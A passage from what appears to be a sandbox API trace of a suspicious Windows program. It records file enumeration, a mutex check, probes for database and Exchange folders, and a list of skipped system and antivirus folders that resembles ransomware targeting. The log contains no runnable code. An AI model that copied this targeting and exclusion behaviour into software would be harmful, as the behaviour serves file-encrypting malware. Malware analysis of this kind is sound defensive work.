hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.484] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.484] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.484] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.484] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.484] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.484] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.484] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.484] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.484] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.484] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.484] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.484] CharLowerBuffW (in: lpsz="swapfile.sys", cchLength=0xc | out: lpsz="swapfile.sys") returned 0xc [0264.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.485] CharLowerBuffW (in: lpsz=".sys", cchLength=0x4 | out: lpsz=".sys") returned 0x4 [0264.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".sys", cchWideChar=4, lpMultiByteStr=0x19de58, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".sysw", lpUsedDefaultChar=0x0) returned 4 [0264.485] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.485] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.485] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.485] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.485] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 0 [0264.485] GetLastError () returned 0x12 [0264.485] FindClose (in: hFindFile=0x6da090 | out: hFindFile=0x6da090) returned 1 [0264.485] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.485] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.485] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.485] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.486] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.486] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.486] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.486] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.486] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.486] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 0x6da090 [0264.486] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.486] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.486] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.486] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.486] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eebc | out: lpLocalFileTime=0x19eebc) returned 1 [0264.486] FileTimeToDosDateTime (in: lpFileTime=0x19eebc, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.486] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.486] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.486] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.486] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.486] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.486] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.486] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.486] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.486] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.487] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.487] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.487] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.487] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.487] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.487] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.487] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.487] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.487] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.487] SysReAllocStringLen (in: pbstr=0x19eeb8*=0x0, psz="C:\\588bce7c90097ed212", len=0x15 | out: pbstr=0x19eeb8*="C:\\588bce7c90097ed212") returned 1 [0264.487] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.487] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.487] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.487] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.487] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.487] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.487] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.488] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.488] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.488] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Microsoft\\Exchange Server", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.516] GetLastError () returned 0x3 [0264.516] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0264.516] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Microsoft SQL Server", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.518] GetLastError () returned 0x2 [0264.518] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0264.518] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Firebird", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.541] GetLastError () returned 0x2 [0264.541] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0264.541] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\MSSQL.1", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.545] GetLastError () returned 0x2 [0264.545] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=8, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0264.545] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.546] GetLastError () returned 0x2 [0264.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0200, cbMultiByte=37, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0264.547] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Adobe", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.548] GetLastError () returned 0x2 [0264.548] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=6, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0264.548] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Oracle", lpFindFileData=0x19e934 | out: lpFindFileData=0x19e934) returned 0xffffffff [0264.549] GetLastError () returned 0x2 [0264.550] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=7, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0264.550] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0264.550] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0264.550] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.550] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0264.550] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0264.550] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0264.550] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.550] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0264.550] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.550] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.550] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e730, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0264.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19db30, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0264.550] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.550] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e730, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0264.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19db30, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 32 [0264.550] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.550] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e730, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0264.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19db30, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 15 [0264.551] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.551] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e730, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0264.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ac8, cbMultiByte=11, lpWideCharStr=0x19db30, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 11 [0264.551] GlobalLock (hMem=0x3f40004) returned 0x3ae1df8 [0264.551] GlobalHandle (pMem=0x3ae1df8) returned 0x3f40004 [0264.551] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.551] GlobalLock (hMem=0x3f40004) returned 0x3ae1df8 [0264.551] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0264.551] GlobalHandle (pMem=0x3ae1df8) returned 0x3f40004 [0264.551] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.551] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0264.551] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.551] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 15 [0264.551] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=11, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 11 [0264.551] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 9 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 18 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 28 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=10, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 10 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=8, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 8 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 9 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19db38, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穌έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 13 [0264.552] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\", cchLength=0x16 | out: lpsz="c:\\588bce7c90097ed212\\") returned 0x16 [0264.552] SHGetMalloc (in: ppMalloc=0x19eb80 | out: ppMalloc=0x19eb80*=0x75e4d000) returned 0x0 [0264.552] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19eb7c | out: ppidl=0x19eb7c) returned 0x0 [0264.552] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.552] SysReAllocStringLen (in: pbstr=0x19ec04*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19ec04*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.553] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0264.553] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0264.553] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0264.553] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0264.553] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0264.553] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.553] GlobalLock (hMem=0x3f4000c) returned 0x3ae1df8 [0264.553] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0264.553] GlobalHandle (pMem=0x3ae1df8) returned 0x3f4000c [0264.553] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.553] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0264.553] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.553] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*.*", lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 0x6da110 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.554] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.555] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb7c | out: lpLocalFileTime=0x19eb7c) returned 1 [0264.555] FileTimeToDosDateTime (in: lpFileTime=0x19eb7c, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0264.555] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0264.555] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0264.555] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.555] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0264.555] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0264.555] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0264.555] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.555] 